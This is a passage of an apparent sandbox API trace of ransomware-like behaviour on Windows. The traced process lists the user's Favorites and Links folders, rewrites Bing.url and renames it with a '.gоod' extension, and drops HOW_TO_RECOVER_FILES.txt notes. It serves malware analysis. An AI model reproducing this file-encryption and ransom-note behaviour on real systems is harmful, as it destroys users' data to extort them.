SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0193.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0193.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0193.402] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Favorites", lpFilePart=0x0) returned 0x19 [0193.403] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4499d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0193.403] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4499d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.403] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43598c8e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43b9f870, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x43b9f870, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bing.url", cAlternateFileName="")) returned 1 [0193.403] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0193.403] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3be1eb23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0193.403] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0193.403] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0193.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0193.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0193.404] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Favorites\\Bing.url", lpFilePart=0x0) returned 0x22 [0193.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0193.404] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url"), fInfoLevelId=0x0, lpFileInformation=0x35640d0 | out: lpFileInformation=0x35640d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43598c8e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43b9f870, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x43b9f870, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0xd0)) returned 1 [0193.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0193.405] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url", nBufferLength=0x105, lpBuffer=0x202edb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Favorites\\Bing.url", lpFilePart=0x0) returned 0x22 [0193.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee030) returned 1 [0193.405] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0193.405] GetFileType (hFile=0x824) returned 0x1 [0193.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edfa0) returned 1 [0193.405] GetFileType (hFile=0x824) returned 0x1 [0193.405] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x202ee1d8 | out: lpFileSizeHigh=0x202ee1d8*=0x0) returned 0xd0 [0193.406] ReadFile (in: hFile=0x824, lpBuffer=0x35643a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee108, lpOverlapped=0x0 | out: lpBuffer=0x35643a8*, lpNumberOfBytesRead=0x202ee108*=0xd0, lpOverlapped=0x0) returned 1 [0193.406] CloseHandle (hObject=0x824) returned 1 [0198.050] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url", nBufferLength=0x105, lpBuffer=0x202edb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Favorites\\Bing.url", lpFilePart=0x0) returned 0x22 [0198.050] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee030) returned 1 [0198.050] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0198.051] GetFileType (hFile=0x828) returned 0x1 [0198.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edfa0) returned 1 [0198.051] GetFileType (hFile=0x828) returned 0x1 [0198.051] WriteFile (in: hFile=0x828, lpBuffer=0x36f27c0*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x202ee018, lpOverlapped=0x0 | out: lpBuffer=0x36f27c0*, lpNumberOfBytesWritten=0x202ee018*=0xe0, lpOverlapped=0x0) returned 1 [0198.052] CloseHandle (hObject=0x828) returned 1 [0198.052] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Favorites\\Bing.url", lpFilePart=0x0) returned 0x22 [0198.052] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Favorites\\Bing.url.gоod", lpFilePart=0x0) returned 0x27 [0198.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0198.052] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43598c8e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43b9f870, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x7242a962, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0198.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0198.052] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url"), lpNewFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url.gоod" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url.gоod")) returned 1 [0198.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0198.053] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Favorites\\Links", lpFilePart=0x0) returned 0x1f [0198.053] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites\\Links\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3be1eb23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdc100 [0198.054] FindNextFileW (in: hFindFile=0x1ecdc100, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3be1eb23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.054] FindNextFileW (in: hFindFile=0x1ecdc100, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4360b38e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4360b38e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x4360b38e, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0198.054] FindNextFileW (in: hFindFile=0x1ecdc100, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0198.054] FindClose (in: hFindFile=0x1ecdc100 | out: hFindFile=0x1ecdc100) returned 1 [0198.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0198.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0198.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0198.054] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Favorites\\Links", lpFilePart=0x0) returned 0x1f [0198.054] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites\\Links\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3be1eb23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdbec0 [0198.055] FindNextFileW (in: hFindFile=0x1ecdbec0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3be1eb23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.055] FindNextFileW (in: hFindFile=0x1ecdbec0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4360b38e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4360b38e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x4360b38e, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0198.055] FindNextFileW (in: hFindFile=0x1ecdbec0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4360b38e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4360b38e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x4360b38e, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0198.055] FindClose (in: hFindFile=0x1ecdbec0 | out: hFindFile=0x1ecdbec0) returned 1 [0198.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0198.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0198.055] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites\\Links\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Favorites\\Links\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x38 [0198.055] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0198.055] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Favorites\\Links\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\favorites\\links\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0198.057] GetFileType (hFile=0x828) returned 0x1 [0198.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0198.057] GetFileType (hFile=0x828) returned 0x1 [0198.057] WriteFile (in: hFile=0x828, lpBuffer=0x3703840*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x3703840*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0198.058] CloseHandle (hObject=0x828) returned 1 [0198.058] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ede20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Favorites\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x32 [0198.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee340) returned 1 [0198.059] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Favorites\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\favorites\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0198.059] GetFileType (hFile=0x828) returned 0x1 [0198.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2b0) returned 1 [0198.059] GetFileType (hFile=0x828) returned 0x1 [0198.060] WriteFile (in: hFile=0x828, lpBuffer=0x3707058*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ee408, lpOverlapped=0x0 | out: lpBuffer=0x3707058*, lpNumberOfBytesWritten=0x202ee408*=0x5d0, lpOverlapped=0x0) returned 1 [0198.060] CloseHandle (hObject=0x828) returned 1 [0198.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0198.061] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Links", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Links", lpFilePart=0x0) returned 0x15 [0198.061] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Links\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9463e5c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdcac0 [0198.061] FindNextFileW (in: hFindFile=0x1ecdcac0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9463e5c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.061] FindNextFileW (in: hFindFile=0x1ecdcac0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x441f699e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441f699e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xcee4480b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0198.061] FindNextFileW (in: hFindFile=0x1ecdcac0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4428f2bb, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4428f2bb, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce90d59d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0198.061] FindNextFileW (in: hFindFile=0x1ecdcac0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x442b54f3, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x442b54f3, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xcec7abde, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x3ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0198.062] FindNextFileW (in: hFindFile=0x1ecdcac0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3190fb5, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x94664823, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive.lnk", cAlternateFileName="")) returned 1 [0198.062] FindNextFileW (in: hFindFile=0x1ecdcac0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0198.062] FindClose (in: hFindFile=0x1ecdcac0 | out: hFindFile=0x1ecdcac0) returned 1 [0198.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0198.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0198.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0198.062] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Links", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Links", lpFilePart=0x0) returned 0x15 [0198.062] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Links\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9463e5c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdc7c0 [0198.062] FindNextFileW (in: hFindFile=0x1ecdc7c0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9463e5c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.062] FindNextFileW (in: hFindFile=0x1ecdc7c0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x441f699e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441f699e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xcee4480b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0198.063] FindNextFileW (in: hFindFile=0x1ecdc7c0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4428f2bb, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4428f2bb, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce90d59d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0198.063] FindNextFileW (in: hFindFile=0x1ecdc7c0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x442b54f3, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x442b54f3, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xcec7abde, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x3ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0198.063] FindNextFileW (in: hFindFile=0x1ecdc7c0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3190fb5, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x94664823, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive.lnk", cAlternateFileName="")) returned 1 [0198.063] FindNextFileW (in: hFindFile=0x1ecdc7c0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3190fb5, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x94664823, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive.lnk", cAlternateFileName="")) returned 0 [0198.063] FindClose (in: hFindFile=0x1ecdc7c0 | out: hFindFile=0x1ecdc7c0) returned 1 [0198.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0198.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0198.064] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Links\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ede20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Links\\HOW_TO_RECOVER_FILES.txt", 